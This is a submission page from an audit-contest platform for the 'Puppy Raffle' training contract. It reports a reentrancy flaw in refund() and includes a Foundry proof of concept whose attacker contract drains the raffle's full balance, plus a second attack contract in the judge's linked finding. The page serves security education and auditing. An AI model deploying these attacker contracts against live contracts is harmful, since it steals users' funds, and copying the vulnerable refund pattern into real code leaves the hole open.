Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `refund()` allows draining the entire contract

drak3p14159

Reentrancy in refund lets a malicious entrant drain the entire contract balance

Severity: High

Description

  • The protocol lets any entrant reclaim their entranceFee through refund. It is expected to pay the caller and then mark their slot as refunded so the same slot cannot be reused.

  • Because refund performs the ETH transfer before zeroing the player slot, and sendValue forwards all remaining gas, a contract caller can re-enter refund from its receive/fallback while players[playerIndex] still equals msg.sender, passing both require checks again and being paid repeatedly.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee); // interaction happens first
@> players[playerIndex] = address(0); // state update happens after -> re-entrancy window
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Occurs whenever an entrant is a contract with a re-entrant receive() that calls refund again — the slot is still non-zero and still equal to msg.sender during the callback, so every recursive call succeeds.

  • Occurs on every raffle that holds other players' funds; the attack needs only one entrance fee and a single transaction, so it is always available and cheap.

Impact:

  • The full ETH balance of the contract — all other players' entrance fees plus accumulated totalFees — is stolen in a single transaction.

  • The raffle is left insolvent: honest players lose their deposits and no prize can be paid.

Proof of Concept

Save as test/ReentrancyPoC.t.sol and run forge test --mt testReentrancyDrainsContract. The attacker funds one entrance fee (1 ETH) against a 4 ETH pot and walks away with 5 ETH; the raffle balance ends at 0.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract ReentrancyPoC is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, address(99), 1 days);
}
​
function testReentrancyDrainsContract() public {
// 4 honest players fund a 4 ETH pot
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle, entranceFee);
vm.deal(address(attacker), entranceFee); // attacker funds ONE entry
​
uint256 potBefore = address(puppyRaffle).balance; // 4 ETH
attacker.attack();
​
assertEq(address(puppyRaffle).balance, 0); // raffle drained
assertEq(address(attacker).balance, entranceFee + potBefore); // 1 + 4 = 5 ETH
}
}
​
contract ReentrancyAttacker {
PuppyRaffle immutable puppyRaffle;
uint256 immutable entranceFee;
uint256 index;
​
constructor(PuppyRaffle _r, uint256 _fee) {
puppyRaffle = _r;
entranceFee = _fee;
}
​
function attack() external {
address[] memory p = new address[](1);
p[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(p);
index = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(index); // first refund
}
​
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(index); // re-enter until drained
}
}
}

Recommended Mitigation

Apply checks-effects-interactions — update state before the external call — and/or add a nonReentrant guard.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
-
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!